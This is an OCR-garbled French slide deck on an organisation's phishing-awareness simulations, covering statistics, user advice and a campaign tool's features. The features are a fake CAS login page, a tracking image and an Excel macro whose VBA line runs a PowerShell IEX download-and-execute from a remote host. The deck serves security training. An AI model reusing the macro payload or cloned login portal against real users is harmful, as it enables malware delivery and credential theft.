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Phishing

Phreaking + fishing : Hamegonnage, filoutage

Exemples bien connus :
Fausses factures

Demandes de mots de passe dans un mail (administratet ""’)
systéme) '
Demande de rappel

Techniques variees
Piéces jointes contaminées (script VB)
Liens similaires (i.e.: www.societegeneral.fr au lieu de www.societegenerale.fr)
Redirections et rebonds
Utilisation de caracteres unicode
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Chiffres clés du phishing

51 millions d’attaques empéchées par Kaspersky au 1¢'
trimestre 2017

Systéemes
de paiement, 13,60%

globaux, 19,10%

Boutique en ligne, 10,89%
2017 Kaspersky Lal

B 1-4% D 4-6% 6-8% MNg-11% M 11-21%

Conséquences : pertes financieres, de temps, atteinte a
I'image de marque, conséquences politiques,...

Premiere étape d’une attaque plus étendue (APT)
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Probleme

Le phishing étant quotidiennement mentionneé dans la
presse, dans la vie courante, la majorité des utilisateurs
connaissent son existence et les risques

Les consignes restent identiques:

- n'ayez pas une confiance aveugle dans le nom de I'expéditeur des messages que vous recevez,

- vérifiez I'existence de I'expéditeur en cas de doute (Organnuaire, etc.),

- méfiez-vous des piéces jointes, n'ouvrez jamais une piéce jointe si vous ne connaissez pas l'expéditeur du mail.

- ne répondez jamais a une demande d'informations confidentielles (Mot de passe, etc.), sachez que le Sl ne vous demandera jamais
votre mot de passe,

- avant de cliquer sur un lien présent dans un message, passez votre souris au-dessus du lien, afin de vérifier la destination réelle du lien
en bas de votre écran,

- faites attention aux caractéres accentués dans le texte ainsi qu'a la qualité du francais ou de la langue pratiquée par votre interlocuteur
(le niveau de francais doit étre conforme avec ce que vous connaissez de votre correspondant, ainsi que le contenu général du message)
- paramétrez correctement votre logiciel de messagerie (dans la mesure du possible).

En cas de doute, n'hésitez pas a solliciter le centre de services du Sl.

Pourquoi reste-il aussi efficace et comment lutter contre ?
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CYBERSECURITE

Bercy a envoye des faux emails-de phishing
a ses employes

par LOUISE MILLON /e 4 OCTOBRE 2017 < 4 COMMENTAIRES
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Outil existant

Travaux de Fabrice PRIGENT

Ameéliorer la résistance de la communauté universitaire par rapport
au phishing

Rappels par message sur le phishing

Envoi automatique d’e-mails de faux phishing
Statistiques sur les résultats

Présentation des résultats a RéSIST en 2013
Résultats méme avec du « mauvais » phishing
Une méme personne peut se faire avoir plusieurs fois
Les communications institutionnelles ne sont pas lues
Pas de corrélation avec le niveau d’étude, ni le domaine !
Pédagogie par 'exemple efficace
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Reprise en main de l'outil

y.bachy@port-bachy: ~/Documents/ISAE/OSSI/Sensibilisation/tmp/htmL_phishing = o X

Fichier ~Edition Affichage Rechercher Terminal Aide
B R R R N BN S R RN R R R B R n sz

Ceci est un manuel rapide d'installation pour un outil de campagne de phishing pédagogique

Version du 11 juin 2016
Auteur : Fabrice Prigent

HoH R W W

I1 vous faudra FORCEMENT modifier des éléments manuellement. Les explications ci dessous peuvent vous y aider, ains
i que le script install.sh, mais
en aucun cas, tout cela ne pourra faire le travail & votre place.

Vous avez une arborescence web qui comporte les éléments suivants
- ce fichier install.txt
- le repertoire "send" qui contient tout ce qu'il faut pour envoyer la campagne
- le fichier "send config.pm" qui contient les paramétres de votre environnement
- le fichier install.sh qui va vous aider & personnaliser votre campagne. A ne lancer que lorsque le fichie
r send_config.pm ci dessus est rempli.
- le fichier "users.txt" qui contient la liste des mails & tester (c'est & vous de le mettre a jour réguliée

rement)
- le repertoire "campagnes" qui contient les mails des campagnes
- 0.txt qui est la premiére campagne pour vos utilisateurs (elle est "gentillette")
- 1l.txt et les suivantes sont des campagnes plus agressives (copie de votre interface d'authentific
ation)

VERIFIEZ LEURS THEMES !!! Sans rien dévoiler aux intéressés, vous devez prévenir correctement la di
rection que les campagnes sont REALISTES (dans le sens utilisés pour de vrai par des pirates) et que certaines peuv
ent étre pénalisantes pour certains services !!!!

cas

- le repertoire qui contient les formulaires et leurs éléments
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Fonctionnalités de 'outil 1/3

E-mail avec lien vers un faux portail d’authentification

& C | & Sécurisé | https://ssocas.isae.fr/cas/login?service=https%3A%2F%2Fwali.isae.fr%2FSOGo%2Fso%2Findex
P 9! P!

S48~ CENTRAL AUTHENTICATION SERVICE (CAS)

¢ O :isae.tkv'p ortail. fhp?mail=85d3df6a6325eda349cc04c878f380al

Centre Aéronautique et Social (CAS). x

Entrez votre identifiant et votre mot de passe : Entrez volre identfiant o votre mot do passe.

Identifiant : [

t de passe:

— =
g

[ prévenez-moi avant d'accéder a d'autres services.

Mot de passe :
SE CONNECTER | EFFACER

SE CONNECTER EFFACER

Pour des raisons de sécurité, veuillez vous dé et fermer votre lorsque vous ay
- - - ,
Copyright © 19821 - 2019 localhost, Inc. All lefts reserved. d'accéder aux services authentifiés
En cas de question ou probléme, contactez le centre de service Sl
aaaaaaaaa
English ' Spanish ' French | Russian | Nederlands | Svenskt | ltaliano = Urdu | CI
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Fonctionnalités de I'outil 2/3

E-mail avec une « image » dans le corps faisant appel a

un script php

Sujet: newsletter de votre CE pour d.perard
Expéditeur: test@isae fr
Date: Lundi, Juin 19, 2017 13:46 CEST
Destinataire:  doriane.perard@isae.fr
Répondre a: test@isae.fr

Télécharger les images

Bonjour,
Veuillez trouver dans I'image suivante notre catalogue de produits po
Cordialement

e mois de juin.

Subject: newsletter de votre CE pour d.perard

Bonjour, <br><br> Veuillez trouver dans 1°'image suivante notre catalogue

de produits pour le mois d n. <br> < SRC="http
isae.tk/trac [ alal

Cordialemen

Cette "image" que vous avez ouverte fait partie de notre
campagne de sensibilisation au phishing.

Ne vous inquiétez pas, vos informations personnelles ne sont pas
compromises. Cependant, nous vous invitons vivement a relire
attentivement les points suivants :

- n'ayez pas une confiance aveugle dans le nom de I'expéditeur
des messages que vous recevez,

- vérifiez I'existence de I'expéditeur en cas de doute (Organnuaire,
etc.),

- méfiez-vous des piéces jointes,

- faites attention aux caracteres accentués dans le texte ainsi qu'a
la qualité du francais dans le texte ou de la langue pratiquée par
votre interlocuteur,

- paramétrez correctement votre logiciel de messagerie (dans la
mesure du possible).
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Fonctionnalités de l'outil 3/3

E-mail avec une piéce jointe malveillante faisant appel a un script
php

I AVERTISSEMENT DE SECURITE Les macros ont été désactivées. (’ Activer le conD

A10 v I

A B C E Y z AA AB
(x] [x] (x] .
[x] [x] (] _0a6d8cc146qb85e49df6d812f2bcof28
[x] [x] (x] v

2

O N O U bW N

{pour le bon affichage des images merci d’activer 'autorisatfon d’exécution)

id_mail = Cells("99", "Z").Valud
exec = "powershell.exe ""IEX ((new-object

net.webclient).downloadstring( http://isae.tk/save word.php?id="
id mail & ™ *))"""

Shell (exec)
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Tout est gere dans une base de donnees

Les résultats sont stockés dans une base de données :
Date
Adresse IP
Nom de la machine (si dans le réseau de I'école)
User agent

|dentifiant d’envoi (hash unique permettant de retracer I'utilisateur
cible)

Nom d’utilisateur rempli

Mot de passe rempli (booléen : conformité a la politique de mot de
passe de 'établissement)

Résultat de la vérification des identifiants sur 'annuaire
d’entreprise (LDAP)
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Points d’attention

Nécessiteé de prévenir les utilisateurs en amont des
campagnes

Signalement par Firefox et autres navigateurs

Nécessité de prevenir les éventuels partis concernés
Exemple en 2015 du gouvernement flamand avec Thalys
Exemple récent a la DGA avec un cabinet d‘avocats

Ne pas divulguer les identités précises, juste des
statistiques globales
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Vous le voulez aussi ?

On peut tromper une fois

mille personnes, mais on

ne peut pas tromper mille
fois une personne.



